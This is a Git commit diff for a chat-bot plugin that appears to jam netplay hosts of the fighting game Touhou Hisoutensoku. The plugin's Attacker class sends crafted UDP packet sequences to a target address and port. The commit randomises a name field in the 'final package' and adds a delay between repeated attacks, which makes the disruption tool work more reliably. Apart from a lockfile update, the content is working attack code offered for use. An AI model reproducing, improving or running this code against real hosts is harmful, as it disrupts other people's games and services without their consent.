Commit 0c6f7475 authored by nanahira's avatar nanahira

fix stuck and use random name

parent 0472fa63
...@@ -9,6 +9,7 @@ ...@@ -9,6 +9,7 @@
"version": "10.3.4", "version": "10.3.4",
"license": "MIT", "license": "MIT",
"dependencies": { "dependencies": {
"crypto-random-string": "^3.3.1",
"ip": "^1.1.5", "ip": "^1.1.5",
"koishi-thirdeye": "^9.0.1", "koishi-thirdeye": "^9.0.1",
"lodash": "^4.17.21", "lodash": "^4.17.21",
...@@ -2657,6 +2658,25 @@ ...@@ -2657,6 +2658,25 @@
"node": ">= 8" "node": ">= 8"
} }
}, },
"node_modules/crypto-random-string": {
"version": "3.3.1",
"resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-3.3.1.tgz",
"integrity": "sha512-5j88ECEn6h17UePrLi6pn1JcLtAiANa3KExyr9y9Z5vo2mv56Gh3I4Aja/B9P9uyMwyxNHAHWv+nE72f30T5Dg==",
"dependencies": {
"type-fest": "^0.8.1"
},
"engines": {
"node": ">=8"
}
},
"node_modules/crypto-random-string/node_modules/type-fest": {
"version": "0.8.1",
"resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz",
"integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==",
"engines": {
"node": ">=8"
}
},
"node_modules/cssom": { "node_modules/cssom": {
"version": "0.4.4", "version": "0.4.4",
"resolved": "https://registry.npmjs.org/cssom/-/cssom-0.4.4.tgz", "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.4.4.tgz",
...@@ -9926,6 +9946,21 @@ ...@@ -9926,6 +9946,21 @@
"which": "^2.0.1" "which": "^2.0.1"
} }
}, },
"crypto-random-string": {
"version": "3.3.1",
"resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-3.3.1.tgz",
"integrity": "sha512-5j88ECEn6h17UePrLi6pn1JcLtAiANa3KExyr9y9Z5vo2mv56Gh3I4Aja/B9P9uyMwyxNHAHWv+nE72f30T5Dg==",
"requires": {
"type-fest": "^0.8.1"
},
"dependencies": {
"type-fest": {
"version": "0.8.1",
"resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz",
"integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA=="
}
}
},
"cssom": { "cssom": {
"version": "0.4.4", "version": "0.4.4",
"resolved": "https://registry.npmjs.org/cssom/-/cssom-0.4.4.tgz", "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.4.4.tgz",
......
import dgram from 'dgram'; import dgram from 'dgram';
import _ from 'lodash'; import _ from 'lodash';
import cryptoRandomString from 'crypto-random-string';
const messageStage1 = [ const messageStage1 = [
1, 2, 0, 42, 49, 127, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 42, 49, 127, 0, 1, 2, 0, 42, 49, 127, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 42, 49, 127, 0,
...@@ -8,12 +9,25 @@ const messageStage1 = [ ...@@ -8,12 +9,25 @@ const messageStage1 = [
const smallMessage = [3]; const smallMessage = [3];
const messageStage2 = [ const messageStage2 = (): number[] => {
5, 110, 115, 101, 217, 255, 196, 110, 72, 141, 124, 161, 146, 49, 52, 114, const prefix = [
149, 16, 0, 1, 0, 40, 0, 0, 0, 1, 9, 112, 114, 111, 102, 105, 108, 101, 49, 5, 110, 115, 101, 217, 255, 196, 110, 72, 141, 124, 161, 146, 49, 52, 114,
112, 0, 0, 0, 0, 0, 81, 57, 68, 0, 74, 2, 65, 8, 0, 0, 0, 0, 0, 0, 0, 0, 51, 149, 16, 0, 1, 0, 40, 0, 0, 0, 1,
1, 0, 0, 18, 0, 0, 0, ];
]; const suffix = [
0, 0, 0, 0, 0, 81, 57, 68, 0, 74, 2, 65, 8, 0, 0, 0, 0, 0, 0, 0, 0, 51, 1,
0, 0, 18, 0, 0, 0,
];
const name = cryptoRandomString({
length: Math.floor(Math.random() * 10) + 1,
});
return [
...prefix,
name.length,
...Buffer.from(name, 'utf8').toJSON().data,
...suffix,
];
};
enum AttackType { enum AttackType {
Send = 1, Send = 1,
...@@ -27,7 +41,7 @@ interface AttackStep { ...@@ -27,7 +41,7 @@ interface AttackStep {
comment: string; comment: string;
} }
const AttackRoutine: AttackStep[] = [ const AttackRoutine = (): AttackStep[] => [
{ {
type: AttackType.Send, type: AttackType.Send,
message: messageStage1, message: messageStage1,
...@@ -52,7 +66,7 @@ const AttackRoutine: AttackStep[] = [ ...@@ -52,7 +66,7 @@ const AttackRoutine: AttackStep[] = [
},*/ },*/
{ {
type: AttackType.Send, type: AttackType.Send,
message: messageStage2, message: messageStage2(),
comment: 'Send final package', comment: 'Send final package',
}, },
]; ];
...@@ -159,7 +173,7 @@ export class Attacker { ...@@ -159,7 +173,7 @@ export class Attacker {
this.socket.on('error', (err) => { this.socket.on('error', (err) => {
this.error = err; this.error = err;
}); });
for (const step of AttackRoutine) { for (const step of AttackRoutine()) {
if (this.error) { if (this.error) {
await this.close(); await this.close();
return `Error: ${this.error.toString()}`; return `Error: ${this.error.toString()}`;
......
...@@ -214,6 +214,7 @@ export default class HisoutensokuJammerPlugin implements OnApply { ...@@ -214,6 +214,7 @@ export default class HisoutensokuJammerPlugin implements OnApply {
this.log.warn(`Attack of ${address}:${port} failed: ${err}`); this.log.warn(`Attack of ${address}:${port} failed: ${err}`);
} else { } else {
this.log.info(`Attack of ${address}:${port} succeeded.`); this.log.info(`Attack of ${address}:${port} succeeded.`);
await new Promise<void>((resolve) => setTimeout(resolve, 10));
} }
} }
this.log.info(`Attack of ${address}:${port} finished.`); this.log.info(`Attack of ${address}:${port} finished.`);
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment